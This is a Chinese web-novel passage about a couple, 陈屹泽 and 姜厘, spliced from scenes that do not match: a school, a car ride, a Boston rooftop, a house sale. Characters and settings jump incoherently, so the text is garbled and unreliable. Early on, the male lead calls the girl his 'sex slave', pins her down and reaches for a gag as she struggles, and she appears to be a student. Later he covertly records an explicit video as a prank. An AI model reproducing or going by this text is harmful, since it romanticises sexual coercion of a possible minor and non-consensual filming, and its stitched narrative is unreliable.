器材室的门一打开就有一股腐朽潮湿的气味溢出,生锈的钢铁架子上结了蜘蛛网,大理石地板在两人踏入后,才多出了泥泞丑陋的黑鞋印。 老师让他们自己找码子。 在钢架的空隙陈屹泽只能看到她翘起的一组像是被伞骨勾起来的碎发,他这才对两人的身高差距有了实感。 小企鹅,腿好短,才到他肩膀。 坏笑中带着调侃:“你多高?” “啊?”姜厘踮脚艰难地寻找165的校服套装,“我165。” 她谎报了两厘米身高。 “165,才到这?”陈屹泽又开始气死人不偿命了。嘴上说着,手里模拟着她的身高量了量。 姜厘懒得理他,自顾自找校服。 姜厘找了好久也没找到,底处的这两排架子上全是180、190这种超大尺码的,剩下的她也看不到。 “这个?” 陈屹泽手里拿着的就是她的尺码。 “谢谢。” 姜厘刚想拿过来。 他就把衣服和手一起举到高处,她够不着。 唇角微微勾起,得逞地坏笑:“跟你商量件事。” 低沉的嗓音像在她鼓膜上跳舞,姜厘泪水浸出来,身体不受控制地漫出无力感。 “那你要怎样?现在这样是要我当你的p友吗?!” “更糟呢,宝宝,接下来的时间,你将会是我的,” 陈屹泽眼底浓黑,手臂缠上她,像蟒蛇绕住一只小雀生着漂亮羽毛的纤细脖颈,随时会将她开膛破肚。 他唇垂在她耳侧,轻轻续下两个字, “性.奴。” 第 74 章 替换了一版!!!!!!! 一层层鸡皮疙瘩竖起来。 姜厘带着屈辱的视线震惊地看着陈屹泽,她不敢相信自己刚才听到了什么。 女生现在的可怜目光很能取悦陈屹泽,他扯了扯唇,从白t勒成的绳索中抽出自己虬结的手臂,轻而易举地摁住她。 膝盖压在腿侧,顺畅地别住身-下女生强弩之末般的微小抵抗。 接着,他随手从枕下摸出一条暗黑色的皮革口球带。 手指叩紧下巴,姜厘被迫只能仰头,她对上他疯狂的眼神,视线转到他手上时,挣扎的动作更加剧烈。 姜厘被吓得说不出话但还是蛮缠地拼命踢腾, 踹在他身上一脚又一脚。 郑承禹边笑边说:“哈哈哈,特别有陈屹泽的风格。”这种风格就是做事不计后果,不在乎任何人的颜面,破釜沉舟里带着傲气狂气。 还没等话说完郑承禹就同刚进门的他尴尬对视。 陈屹泽没听到这些话,一如既往的无所谓。 或许陈屹泽拒绝体育老师邀约的真正原因不是怕麻烦,而是骨子里就讨厌这种需要团队配合的体育项目,像他这种人只适合单打独斗,要他团队合作还不如去死。上次的篮球赛还是自己好不容易争取到的呢,周柏羽颇为头疼地按了按太阳穴。 陈屹泽抬眼看姜那个位置,以往这个时候,小企鹅应该都在低头认真写作业,今天却意外地很清闲,她居然没写作业,也没看书。 上课铃响得格外及时,他刚好坐回座位。啧,这都什么奇怪的点。 陈屹泽心里“啧”了一声,抬眼扫过在场众人,他语调淡淡:“有事,今晚散了吧。” 大家心里打鼓,陈屹泽谁也不看,搂住姜厘,径直走了。 到室外,停车场,姜厘脑内回放,刚才自己说的话,表情动态、其他人的看法,其他人的眼神……好像能看穿她的脑子,陈屹泽用手指轻轻敲她脑门:“停。” “别想了,”陈屹泽道,“这辈子都不会见第二面的人,你惦记什么?” 有道理。 但姜厘不是不懂道理,她只是阻止不了自己。 陈屹泽低头,把她脖子上的围巾系了个结,酒气烟草气传到她鼻腔里,他懒懒的问:“还记得怎么开车吗?是代驾还是你开?” 陈屹泽喝了酒,自然不能开车。 与其叫个陌生代驾,不如让姜厘临危受命。 陈屹泽昨天还在开库里南,今天就换成了阿斯顿马丁,矮墩墩的一辆跑车,姜厘拿着他的车钥匙,坐进驾驶座里,还挺配她身高。 陈屹泽坐在副驾驶,单手托着脑袋,另一手指中控台仪表盘,跟她说哪个按钮是做什么的,就差没告诉她刹车和油门在哪。 姜厘认真的听,他看她肃整的模样,收了声,噗的一笑:“开吧,不找你赔。” 就这么上了路。 江风呼啸,跑车随主,似乌龟慢慢爬山后面的车被她堵得发躁,长按喇叭。 姜厘悻悻然,继续二十五码大业。 陈屹泽知道他们想什么,很坦然的受着,坐在姜厘的光环之下。 天啊,这是什么白眼狼发言。 姜厘:“开车的时候不要和我说话!” “下次别来。” 陈屹泽左手搭在驾驶座上,后背靠着红色座椅,醉意令他松弛慵懒,他指了指姜厘,做了个摊手的姿势。 她敏感扭头:“你是不是在笑我?” 二十来分钟的路,愣是让她开出一小时。 姜厘:? 到陈屹泽小区,放了车,姜厘打车要走,陈屹泽瞥见她手机打车页面,无语的伸手关掉,“我还没这么没品。” 陈屹泽:“还有别人给我笑?” 陈屹泽一瞥后视镜,是辆敞篷宝马。 换他自己这么开车,估计有人下车找他打架。 “啊?” 这还是陈屹泽指导她,中间走了条没车的新路,不然就她那来一辆车让一辆的驾驶胆量,他们得在路上看日出。 姜厘双手打方向盘,吭哧吭哧挪窝。 “不怕人了又?” 姜厘瞪大眼睛。 姜厘:“……我大晚上历的这个劫为了谁!!!我本来该在我的床上看漫画!!!” 宝马车主目光在他和姜厘之间一扫,消气的速度比奥特曼的光都快,立马就不滴他了。 姜厘:“就、就该让你醉死在外面!” “你要庆幸,我们在海城,”陈屹泽无聊,冷不丁开腔。 被一堆车超了车,姜厘依然情绪平稳,认真严肃的好似高考考场。 他指指:“往右边让让,让人家过。” “绿灯了,”陈屹泽一抬下巴,把她堵了回去。 后车超车,经过旁边时,车上的人愤怒的拍喇叭,朝这里看。 过了会儿,可算到了红灯。 陈屹泽哼笑,伸手,揪了揪她的丸子头。 陈屹泽托着脑袋,侧过脸来看她:“对,你来干嘛,她叫你来就来?” “有些国家限低速,你这么开要扣分。” 哈喽?是人在说话? 姜厘:“???” 开阿斯顿马丁又如何,还不是得哄女朋友。 姜厘把胸口攒的那口气舒出来,揉了揉自己紧张到僵硬的肩膀,接着,听见旁边低沉的笑声。 坚持开二十五码。 经过时,都不约而同向陈屹泽投来同情的目光。 有了宝马带路,后面的车跟着默默绕行。 陈屹泽将她捞回来,高级小区的停车场,做的像五星酒店似的,头顶水晶灯,地面艺术涂画,金碧辉煌,陈屹泽按了电梯,带她上楼:“这么晚乱跑什么,住我这里。” 姜厘:“可我爸肯定等我回家呢。” “跟他说你加班。” 姜厘抓抓头发,觉得也行。 陈屹泽这边是新家,姜厘只来过一二……七八次,稍微有一丢丢的熟悉。进门取了围巾、外套,挂在玄关衣架上,陈屹泽取拖鞋给她换。 家里地暖常开,有二十多度,暖气烘的厉害,陈屹泽去里面换衣服,让姜厘自便。 姜厘的毛衣配这温度刚刚好,脸红扑扑的,径直去饮水机取了温水,加了两片柠檬片喝。 “我的呢?”陈屹泽走出来。 他换了家居服,黑色的套头上衣,踩着拖鞋,姿态随意。 姜厘乖乖做了第二杯给他,刚递过去,想着不对劲,捂回去,强调:“这是你家,你要招待我。” 陈屹泽一嗤。 “好,”他慢声答。 开了冰箱门,陈屹泽抬手取出水果、酸奶,转身,放到开放式厨房的台面上。 他取了小刀,削皮、切果,放进搅拌机,又倒入酸奶。 机器通电,定时三分钟。 很快,他做好一份饮品,撒上坚果碎,递给姜厘。 “喏,招待你。” 这么好? 是不是有诈? 姜厘狐疑看着他。 陈屹泽难得不嘴欠,只是静静看着她。 哲学是真的无聊,所以他有一下没一下的看看手机。 姜厘嘀咕着“知道了知道了好啰嗦”,陈屹泽不再多话。 “你还和我一起点外卖,一起上班,还带我玩,你、你不止是我的老板,还是我最好的朋友,我不应该向你发脾气、赶你出去。” 下一秒,被掰着下巴,强迫和他视线对上。 刚觉得她算有点良心,又给他来这一套。行,下次他绝不会多管闲事。 陈屹泽正直直的望着她。 “你虽然方法也不对,脾气也很差,但是也很好。” 男声凉凉的响在耳侧,陈屹泽轻轻拧她的耳朵:“一天天不上班,就琢磨这些东西了?” 听听这长篇大论的。 “乌龟又,你说我是你的朋友,那你大过年的,给我发辞职信,你说你这行为又算什么?” 陈屹泽本要说的话咽了回去,“行了,早点睡。” 倒也是,系统是她设计的,他唠叨什么。 “这次就算了,你下次、下次不要再和她说什么了。” 陈屹泽抬起眼睛来,“嗯?”了一声,听她支支吾吾开口: 片刻之后,姜厘双手接过杯子,抱着转身到单人沙发上去。 这节是班主任的英语课,自从经历那次笑音师太的多方位阴阳怪气后,这些人都没有嬉皮笑脸的勇气,一个个都格外严肃端庄。 姜厘的英语一直很好,哪怕是开学考那种难度的试卷,做下来也没什么困难,可以说英语发挥稳定地可以不计入她总成绩浮动的参考。更不用说必修一的英语就是基础上的基础。 她同往常一样认真听老师上课。 卢瑞音对全班同学说:“以后我们每周二的中午,都花一点时间练习听力。” 这种额外延长学习时间的做法是老练教师最拿手的寻常事,卢瑞音虽说严苛到了锱铢必较的程度,但是经过她手的班级成绩都出奇得好。 姜厘对此没有异议。 倒是班级里的其他同学都暗戳戳地用眼神抗议,毕竟现在才高一,没必要如此警铃大作防患于未然。多数人费尽千辛万苦考上了这所重点中学,还没从暑假的余韵中回过神来,不想太快进入紧张的学习状态,更何况这还是开学的第二周。 好像所有人都放松警惕了,只剩一个人在坚持,就是这位一生关键的英语老师。她似乎认定,一旦踏进校园,所有人就都要为了学习奉献出一切。 郑承禹不太想把自己午休的半小时交出去:“不觉得节奏太快了吗?”他对着宋写宁说。 宋写宁是掌管听力播放键的英语课代表,所以寻求她的认同尤为重要。 “确实,我们才高一,不过也就二十来分钟。”宋写宁一碗水端平,既不偏帮同学,也不奉承老师。 林致优从来不会对这种事发表意见,因为此刻的她还在思考晨跑发生的那件事,是真没听见还是装没听见,如果是装的那这人的内心太过强大,有点可怕。 后颈袭来一股凉意,林致优第一次遇见这样神秘且独特的女生,她全身的每一个细胞都在告诫别人不要靠近,像是生在野外长在林间的毒蘑菇,有着特殊的芳香与骇丽的颜色,却让人忍不住想要採颉。 或许自己应该主动一点,靠近姜厘。 宋写宁几乎每节课间都紧紧地黏住她,不给任何喘息的机会,林致优找不到与姜厘搭话的机会。 她不知道该如何开口,林致优没有宋写宁这么自来熟,更不想让开场白变得尴尬且生硬。但有些事情一旦错过了时机,想要重复去做就显得格外不合时宜。 “妈妈常说我是从垃圾桶里捡来的,所以我爱吃的垃圾食品有家的味道。小优优,你就陪我去趟小卖部呗。”宋写宁又使出她的撒娇绝技。 林致优以往都是惯着她,这次却没有很快答应:“快上课了,下次再去。” 婉拒的同时内心也在有所挣扎,倒是宋写宁没有放在心上,脸上还是同往常一样大大咧咧嬉皮笑脸,眼睛里却微不可察地带了一丝冷。 其实不止她关注着姜厘,自己也是。 宋写宁能敏锐地观察到周围气氛的变化,所以她总能说出一些调节氛围且合时宜的玩笑话,这些点到为止的玩笑,让别人在与她相处的开端便卸下防备,可以说在与人相处的方面,她和姜厘简直就是两个极端。活泼开朗应该是所有人对她的初印象,她也一直为着这个形象咬牙坚持着。 宋写宁从始至终都认为,打开姜厘的门明晃晃就摆在眼前,可那把手却是仙人球做得,不与她交往也是出于保护自己。 目光的尾端又落在林致优身上。 想起来当初和林致优见面的场景,并非想象中的那么众星捧月,只知道她是语文老师的小孩,成绩很好。报到那天林致优穿着白色背带裤,明明是可爱稚气的穿搭,到她身上却显得格外正经,像个误入小人国的大古板,很是有趣。 宋写宁最初接近她带着难以启齿的私心,她希望学霸自带的光环能够普及到自己,相处下来发现林致优还是拥有同龄人的共同烦恼,就是今晚要不要洗头? 内心有些说不出的滋味,她隐隐感觉到,姜厘和林致优是一路人。 她们相似却又不尽相同,这两个人都拥有独自斗争的勇气,都有着不达目的绝不罢休的坚韧。但是每个人的内心里都会藏着一只老虎,一只猪,一头驴和一只乌鸦,它们活跃程度的不同造就了不同的性格,如果说林致优是驴占上风,那姜厘的乌鸦也会震动着翅膀。 而她宋写宁则是个懦弱的人,是一个极易被影响的人,是但凡自己慢了一步没跟上节奏就会乱了阵脚的人。 姜厘注意到那一束视线,刚抬眼望去就被她狡猾地避开。 不管是从什么地方什么人投来的目光,姜厘都不会做更加深入地研究。 用草履虫的思维处理感情,用高斯的思路处理自己。这是姜厘的至理名言,也是她经历过初中那些人情冷暖得出的最简单最高效的方法。 即便被太多人诟病目中无人,自视清高,但她依旧不改。 因为她有一个爱好:那就是拒绝让人称心如意的任何要求。 一个上午过的很快,一下就到了午休时间。 疲惫的天空穿过大地,黑云毫不费力的压弯了树梢,昭示着这将是一个没带雨伞就会变得很惨的午后。 午休前英语课代表在电脑上播放起英语听力。 不知为何,所有的英语听力当中,女声往往比男声更容易听清,一个是呕哑嘲哳难为听一个就是如听仙乐耳暂明。 光是这二十分钟的时间,前面就不止多次发出压抑沉重的叹息声。 “还让不让人休息。” 暴风雨前物理学上的低气压,以及消失的阳光让整间教室都蒙上来一层灰布。 听完了英语听力需要校对答案,卢瑞音并没有把答案收走,所以需要同学们自行校对,正确答案就在练习册的最后。 广播里刚放完结束音,大家就齐刷刷地对起了答案。 众人中只有一人翻书的声音格外不同:“啊?什么鬼!为什么我这书钉反了!” 吴健越震惊地睁大双眼,都是刚发的新书,为什么他这本出了问题,答案和题目是反着钉的,因此校对的时候格外费劲。他先是翻开了同桌的那本,再是检查周围人的,就只有他的书钉错了。 眉头紧锁着询问宋写宁:“课代表,这个新概念听力还有多余的吗?” 宋写宁回答道:“没有,每个人都只有一本,老师那里也没有多的了。”她一直觉得这人挺逊的,老是胡乱发脾气,也不想和他有过多的往来。 “啊?凭什么?” “凭你是天选之子啊。”周柏羽的一句话勾动了身边人的笑。 周柏羽也看这小子不顺眼,恨不得随时随地找机会呛他一下,陈屹泽可不是他这种人能欺负的。 “哈哈。” 陈屹泽的笑声低沉,像是从喉间溢出来的那样,与此同时用手捂住了下半张脸,看不清具体的表情,只知道那眼神是愚弄别人的戏谑。 几乎是慢了半拍,姜厘也轻笑一声。 声音很清脆,像是给厚重的乐章增添了一个休止符。 陈屹泽愣了一下,他很惊讶,原来小企鹅还会关注这些,还会笑。 回头看姜她时,嘴角上还挂着点未平复的可爱弧度,疏离的眼神却又恢复如初。 不知为何这种感觉很奇妙,她笑起来连带着桌子也在轻颤,震得后背酥酥麻麻,像是刚落入水中的橘子泡腾片,气泡在底部聚集,沸腾,转瞬即逝,她预支了一点点喜悦。 陈屹泽在那个时候才恍然看到符合她的幼稚的孩子气。 很耀眼。 姜厘没有停下手中写作业的笔,只是默默在心里念。 “三、二、一” “啊!你干嘛?!”女孩尖利的声音同那道黑色抛物线一般,突兀的出现在白衬衫上。 “不是,你有病啊!” “对不起,对不起。” 不想再被强迫,姜厘知道现在的陈屹泽就是一团易燃易爆炸的危险化学品。 她脚尖磨蹭地点了两下,还是走了过去。 混着薄荷烟味的冷空气吸入鼻腔,姜厘挑了个最远的位置上前扶住栏杆,静悄悄地伸出触角探查周边的风吹草动。 等了许久却没听到一点声音,只有刻薄的冷风。 姜厘抿抿唇,刚要开口,下一秒却听见男生风轻云淡的声音。 “所以你还是没回答我的那个问题。” “你想过我吗?” 风雪肆虐在日出前深邃的冷调蓝中,远处的湖泊像面沉睡的巨镜。 姜厘想到两人的畸形关系,掐着手心,轻声开口。 “没有。” “我喜欢的是温柔且尊重我的男生。” 第 75 章 已小修 “比如?” “没有比如。”姜厘憋不住吐槽道,“反正不是你这样的。” “行。”他轻呵一声,像是浑不在意,“随便你。” 日出了。 宁静忧伤的蓝调时刻渐渐消退,城市慢慢活络起来。 姜厘不知道和陈屹泽一起在露台靠了多久,眼前是初雪后文艺薄凉的波士顿。 自从离开后她就故意让自己忙起来,不愿意复盘之前的一切。 陈屹泽抽了两支烟,再没提起她想没想他之类的话。 姜厘垂目望着大街上晨起的清洁工,又看向身旁男生被晨光染出的浅金色轮廓,一时心情复杂。 她总觉得自己该在这种难得的清净时刻说点什么。 姜厘踌躇了一会,刚磨出两句趁机求和的草稿,扭头看到陈屹泽低头摆弄上了手机。 她找准时机探头刚要开口,就看见男生指腹点入亚马逊购物页面,选中25姆米的真丝床单, 添加了100份。 姑且还有些理智,像是记得姜厘还受着伤,所以扑到面前的时候进行了一个刹车的动作,但依然很着急地抱住人。 话是讲不了的,哭得倒是很起劲儿,叠声喊着“厘姐”。 即使收着力,思念依然具有重量,姜厘被扑得后退半步,但笑容越发明亮。 陈屹泽这才发现她不知什么时候把披着的头发弄成辫子,松松地挂着,伴随她抬臂安慰人的动作摇晃,嘴角此时弧度尤其温柔。 姜厘受伤的右手虚虚抬着,左手轻柔地拍着小安后背。 “谁家的宝宝掉金豆豆啦?” 要不是已经认识过几天,很容易相信姜厘就是这样一个既体面又优雅的人。也是因为提前认识过几天,看她受伤的右手悬在脸侧。 陈屹泽才敢大胆比喻她此时的笑容,如同橄榄,回甘的前提是因为艰涩。 发呆的、困倦的、任性的。 一切不确定的碎片凑到一起,变成一个拥有确切形状的具象的人,轮廓清晰,会安抚会保护,也能幼稚爱戏弄人。 多变无疑是魅力的一种。 虽然很不合时宜,但陈屹泽就是想到了孙明说的那个词。 男女通吃。 陈屹泽插不了嘴,也插不上手,把着行陈箱在旁等待。 姜厘对他张开手掌,“纸呀。” 陈屹泽抽了好几张纸塞给她,此刻瞧着那些花白刺眼的纸,心里的想法也比较复杂。 如果没记错,一个小时之前,姜厘信誓旦旦地说一定要买纸,讲自己会哭得很厉害。 也不知道为什么,陈屹泽有点想看她“哭得很厉害”的样子,所以大方了一回,买了包加量款。然后目睹她拿着纸温和地给小安擦脸,哄人别哭。 小安的爆发式情绪发泄完之后,勉强恢复了一些工作状态。 姜厘问陈屹泽:“一会直接去委员会吧?可以麻烦你帮忙捎一段小安的行陈箱吗?我们走着过去。” 她变得相当礼貌。 签字的画面尽在咫尺。 陈屹泽利落点头,变得有求必应,临走前给她俩买了两瓶水。 姜厘接水的时候,故意用矿泉水瓶压了压他的外套,一触即离,笑容得体,目光却很挑衅。 全然是已经发现了恶作剧的得意模样。 陈屹泽笑了笑,麻利地拎着行陈箱,跨上摩托,想着要拜托三叔和老妈安排顿好吃的,邀请姜厘和小安去家里吃饭。 甚至还想买串鞭炮,但思及姜厘像是不太受得了刺耳的声音,所以打消这个念头,又想像她被吓到的样子,陈屹泽骑着摩托在路上很愉悦地扭出好几个数字八。 五年了,他能给出一个像样的交代,居然控制不住地开始幻想未来。 要不要问问姜厘住哪个城市呢? 要不要去那个城市上大学呢? 要不要…… 陈屹泽猛地刹住车,瞪着后视镜里的自己,甩了甩头,好笑于自己居然产生这么冒失的憧憬。 但心情前所未有的轻松,意识到终于有权利去想关于未来的事情,全世界都变得顺眼起来。 冒失就冒失吧,没办法的事情。 三叔三婶还有老妈都及时赶到委员会,文件核验进行得很顺利,原本定下的房款早已打到第三方的托管账户,买卖合同也早已拟好,经过双方签字确认,钱款将会立马打入陈屹泽的账户。 姜厘或许是来时路上匆匆看过合同,谈话中一直占据主导地位,比较意外的是,她表示自己愿意以更高的价格购买这套房子,并且让小安当场展示专业房产评估机构发来的消息,对方给价比陈屹泽的原定价格要高出10%。 消息发送于几分钟之前,显然是临时而为。 陈屹泽的所有喜悦都凝固在这一刻,才滋生的希望还没捂热,突然变成了可笑的东西。 他感到不解,也体验到刺痛,就这么毫无防备地被推向熟悉的境地。 陈屹泽眼睛眨也不眨地看着被展示出来的评估,忽然觉得有些想笑。 再熟悉不过的苦涩从胃里翻滚上来,又被喉咙卡住, 体面的施舍,合理的怜悯。 这几年陈屹泽拼命工作,数次催厘自己其实并不在意那些怜悯和窃窃私语,甚至在最初得知有可能卖出老屋时,他也尽量和左右的邻居对比,公正一些,跑了好几趟委员会对比近年来的交易,面积、位置、年代。没有故意压低,也不是刻意抬高。 陈屹泽并非和钱过不去,今天到手的所有钱,他分文不留全部分给那九个家,但今天得到的钱里面,不该多出一分因为“怜悯陈屹泽”的钱。 就像他坚持老爸不是杀人犯一样,他不肯认,也不能认,所以几乎是死板地要求一切公正合理。 他以为姜厘是不同的,也期待她的不同。 那个非要为他出头的人,不分场合嬉笑捉弄他的人。 他以为自己真的被她看见。 他怎么会这么以为呢? 自大的结果,就是尚未想明白的隐秘期待毫不留情地戳上了陈旧伤疤。 姜厘多付了二十四万。 明码标价的同情。 二百六十四万,交易完成。 陈兰当场抱着妯娌哭了起来,三叔还能维持得住,只是同姜厘道谢的时候声音微哑,邀请她们今天一定去家里吃饭。 “不合适,我们家哪里能招待姜老板,我去订饭店。”陈屹泽打断,然后对面带讶然的姜厘笑了起来,“谢谢姜老板,祝你生活安康,前尘光明。” “陈屹泽?”姜厘奇怪地喊了他一声。 “改价格这么大的事情,为什么不提前说呢?”陈屹泽还是没忍住,说话变得难听,“这样是惊喜吗?你会高兴吗?” 难听话说出口也没能觉得痛快。 姜厘又定定地喊了一次他的名字。 陈屹泽很快回应:“你说?” 他比姜厘高很多,为了显示认真听的样子,特意弯身下去。 在陈屹泽弯身的这一刻,姜厘眼睫不受控制地颤了颤,目光从上而下地扫过他的面容。 最终,她移开视线,“饭不吃了。” 姜厘要走,陈屹泽紧着眉横跨一步挡住人,声音里尽是压不住的困惑。 “给个理由吧,为什么呢?” 姜厘盯着他身上被洗得发白的条纹衬衣。 他平时不是背心就是光膀子,独独今天知道要签合同,翻出来件正式的衣服穿着。 姜厘知道他的重视,也能略微体会他的期待和开心。 显然,这份重视已经被辜负。 她几乎是有些无赖地开口:“……拉过勾的。” 拉过勾,下次你一定很快原谅我。 陈屹泽注视着她,很轻很慢地说:“说好的,不伤害我。” 姜厘垂下眼。 陈屹泽盯着她,“这么可怜我啊?” 又刻意学她的语气问:“别可怜我吧?”这间木工铺子临街那间是一整个操作室,工作区之后是天井小院,院墙抱出幢两层小屋,一楼客厅此时站满了人,围着陈屹泽从老屋搬出来的八仙桌各自忙着,端菜递筷,倾缸分酒。 王天眼尖,瞥见人影之后立马冲过来打招呼,“姐姐!” 孙明不甘落后,愣是挤过来寒暄,“姜厘!我就说得请你过来!” “话都让你说了。”陈屹泽笑着挡了他一下,继而指向一个位置,“你坐那吧。” 姜厘看向他指的地方,“寿星坐哪?” “寿星坐你右边,”陈屹泽说。 姜厘故作惊讶,“待遇这么好?” 陈屹泽低头笑了笑,对她说:“坐着吧,我去帮忙。”又指指她的右手,“你别去帮别人干什么,待着就行。” 他说完又示意孙明和王天先照顾人,自己绕进厨房。 姜厘依话坐下,注意到二丫和张婶也到了,隔着半个小院,二丫朝她抿嘴笑了笑,对她用口型说了个“谢谢”。 女孩之间高频的默契尽数体现在相视一笑之间。 场面很热闹,无关商务,更轮不上人际攀扯,只是单纯且明确地为了高兴,高兴菜很好吃,高兴在乎的人还在身边,高兴一切值得高兴的事情。 姜厘依旧沉默,所有回答都被封锁。 陈屹泽等了半天,还是让开了路。 “感谢你,修门框和联系人翻新,可以随时联系我,那些话作数,祝你生活愉快。” 踌躇过后,姜厘还是点下了enter键。 耳机迅速滑过隐忍的喘.声,屏幕闪出一条三秒的视频,熟悉到深刻的白t对镜画面映入眼帘时,姜厘被吓到差点叫出来。 她瞳孔放大后迅速紧缩,在意识到自己看到什么后,最快时间砸上电脑盖子。 她就说那时候他掏了几秒手机干什么! “陈屹泽!你要不要脸!!” 她快疯了! 恶作剧完美呈现。 陈屹泽眉眼带着胜利者的愉悦,一点没给她留面子,直接笑出了声。 他抱着残存的良知,跪得很及时:“我删,我现在就删宝宝。” 第 76 章 第 76 章 姜厘气得脑袋疼。 她辛辛苦苦破解了一天,最后就得出来个这东西。 他凭什么拍这种视频?! 陈屹泽怎么能这么烦! 他对她确定喜欢吗?怎么会有人喜欢的方式是压制胁迫和捉弄啊,这不是小学那些调皮捣蛋的男生才能干出来的事吗! 姜厘简直连饭都不想吃了,拎着书包就想走。 陈屹泽干脆放弃猜测她的目的,搓着碗回答:“看情况,但应该不会,而且你会很忙。” “我不忙。”姜厘说。 “到时候看吧,”陈屹泽没把话说死。 姜厘忽然问:“那么,你是要赔钱吗?” 这是怎么延伸出来的负债关系? 陈屹泽实在对“赔”这个字眼过于敏感,难免侧首去看人。 姜厘很是理所当然地对他微笑,然后等待他主动提问。 “什么……钱?”陈屹泽迅速在脑子里过了遍出售合同,确定自己这边没有什么后续费用。 “你把我门框撞坏啦,”姜厘说,“忘了吗?” 陈屹泽立刻关了水,抬着碗,尽量语气郑重,“会给你修,已经订了木头,货还没到。” 姜厘安静片刻,看起来很是苦恼,最终问:“只是修门吗?” 陈屹泽看向手里还挂着洗洁精泡沫的那只碗。 应该给她煮清汤寡水的,他开始试图幻想报复。 “我觉得不够。”姜厘嗓音很好听,说出口的话却不动听。 陈屹泽怀疑她这两天打入小镇情报传递人员内部一定听到了什么。 老屋本来是陈家的,后来分开住进新房子时,老爸念旧,干脆让几个叔婶定价,他出钱买下来,当时不知道小镇还能发展旅游,也没想过回去住,只是留个念想。 那场灾难之后,陈屹泽辍学回来在小镇做木工,撑着铺子,也为照顾那九家人。彼时变卖一切给过赔偿款,于公于私,数额都太微薄,连应赔数额的三分之一都不到。 他每个月做活也能挣些,每天买了肉菜挨家挨户地送,勉强维持,存款是没有的,病也是不敢生的。 卖房子的这个钱,拿到手也得分出去赔,两百来万看着很多,九家人,十条命,陈屹泽一毛都剩不了。 也不想剩。 陈屹泽穷得天知地知,用钱很容易拿捏他这个人。 他合理怀疑姜厘知道,毕竟很多人爱把他家的苦难当做谈资。 恶意可以出于任何目的,也可以没有目的,主要是看道德。 姜厘刚好又是个游戏人间毫不在意的人。 陈屹泽并不期望任何人好心相待,主动说:“你要我赔多少?可以直接从房款里扣。” 姜厘问:“安静这么久,心里骂了我好几句吧?” 陈屹泽把碗放去水池上,又把手洗干净,安静地等她回答。 心情微妙且复杂。 “我不要你赔钱,”姜厘眼睛看着斜下方,眨了眨,慢吞吞地说,“我想要……” 话说一半,又歇了声。 想要什么呢? 姜厘有些懊恼自己尚未想清答案就开了口,稍不留神戳去人伤口上,过会还得哄不说,这下把局面搞得有些尴尬。 她来到这里本质就是逃避,陈屹泽和这里所有人都不一样。 身在悲剧,坚韧又强大。 试图功利,却显得拙劣。 很有担当,充满安全感。 当然,长得不错,身材尤其扎实。 姜厘既俗气又理想,以上种种,于她而言都是吸引,想要多瞧瞧这个人,似乎也是必然的选择。 没够到喜欢或者心动,但相处时感到舒适是显而易见的。 失去勇气的逃难者遇到一个责任感富豪,难免想多瞧瞧。 她说:“我要别的。” 又重申:“我不要钱。” “什么别的?”陈屹泽问。 姜厘觉得这个答案不好总结,如实回答:“不太好说。” 陈屹泽眉头拧得更紧,比钱还昂贵的东西无疑是难以给予的东西。 “你不会,你不会是想要我那个吧?” “哪个啊?”姜厘好奇抬头。 陈屹泽压低声音说:“你们城里那种,我不行。” 面上带着没必要的正直与坦然。 “你怎么还搞地域歧视?”姜厘觉得他有些严肃过度,反应了会,最后极其敬佩地得出结论,“你觉得我要,哇,陈屹泽?” 陈屹泽这才顿悟自己误解了,又因她这么直白的语言而局促,想解释又怕越描越黑,憋出句:“是我想太多了,对不起。” 他转身继续洗碗。 姜厘朝他喊:“原来你一点都不单纯!你把我带坏了!” 陈屹泽只当自己聋了。 姜厘很擅长借题发挥,完全不顾人死活,“居然还有这个选项,那我考虑考虑?” 尾调因为故意逗弄,快要飞扬上天。 陈屹泽深吸一口气,闭着眼把手里的碗一顿乱搓,从牙缝里挤出“别考虑”三个字。 “为什么不肯?”姜厘追问,又说,“要说起来,你 的身材很不错。” 陈屹泽忍无可忍,再也顾不上任何礼貌:“姜厘!” 姜厘眯起眼,“你声音好大。” 陈屹泽一噎,改为小声警告:“别开这种玩笑。” 姜厘就歪着身子看他,“害羞啦?” 陈屹泽偏头不让她看,觉得夏天真是热得要命,好在姜厘终于安静下来,不再说让人听不下去的话。 可是未免安静得太久,陈屹泽又不习惯起来,想要回头偷看,却正正地对上她的打量。 “陈屹泽。”姜厘喊他。 “啊。”陈屹泽回应她。 “陈屹泽,怎么会有这种想法啊?”姜厘问,“以前有人对你提出过这样的要求吗?” 陈屹泽安静少时,说:“什么样的人都有。” 姜厘明白了。 但是。 “我的面相应该还是很正派的吧!”她为自己不公,又迅速思索出一个比较符合实际的答案,“你觉得我对你好,又让你陪着,你猜不到目的?干脆想我心术不正?” 陈屹泽看着自己布满茧子的手,想着自己的命,的确没有任何一个可以撑起姜厘这份奇怪亲昵的因素。 他无法理解,又反驳不了,只好点头。 倒是意外的诚实。 姜厘没忍住笑出声来,但绝对没有嘲笑的意思,只是单纯觉得很可爱。 “你之前说我没吃过苦,”她无端开启坦白,“但其实我吃了很多苦,右手这个伤口,是最微不足道的一个,也是压死骆驼的稻草。” 陈屹泽沉着脸,却放慢动作,竖起耳朵。 “我呢,不喜欢悲剧,也讨厌苦难,所以我不爱过问别人不主动提起的隐私,也同样希望别人这么对我。”姜厘重新坐下去,“陈屹泽,只有你没有问我的右手,这是我不讨厌你的原因之一” 不讨厌,之一。 这个人总是坦诚得让人无话可说。 陈屹泽没有很好的应对方法,只好先暗自叹了口气。 “大家都有受不了的时候,对你,我不会是那一根稻草,”姜厘等了一会,变得不耐烦,“那个碗我吃过,你非要洗这么久的话,我要闹了。” 陈屹泽:“……” 姜厘还在持续输出:“陈屹泽,你很难哄。” 水龙头被关掉,院里终于安静下来。 陈屹泽转过身,靠在水池边,双手向后撑着台面,嘴角带伤的样子看起来不容易亲近。 他问:“你要我做什么?” “没想好呢,”姜厘弯着眼问他,“可以许愿吗?三个?” 陈屹泽问:“会犯法吗?” “成见,”姜厘说,“不会。” 陈屹泽又问:“会缺德吗?” 姜厘没有回答。 她仰起脑袋,抬起左手,掌心向下手臂伸直,“看好了,这是天平。” 她一本正经,陈屹泽再次看向她的脑袋。 姜厘原谅这个人没见过世面的眼神,用右手在手背压了压,指头拈起又张开,放了个看不见的东西。 “这是我刚才说错话了。” 说错话的分量表现在手臂倾斜的角度上,她赶紧又用右手拈着空气放去手肘上,“把我的小秘密告诉你一点。” 她压低嗓音,带着一丝隐秘的得意。 手臂摇摇晃晃保持平衡。 像是这个并不存在的天平上,真的有两道同等重量的伤疤。 最后,她问:“还生气吗?” 又说:“别气了吧?” 很会当场解决问题的样子。 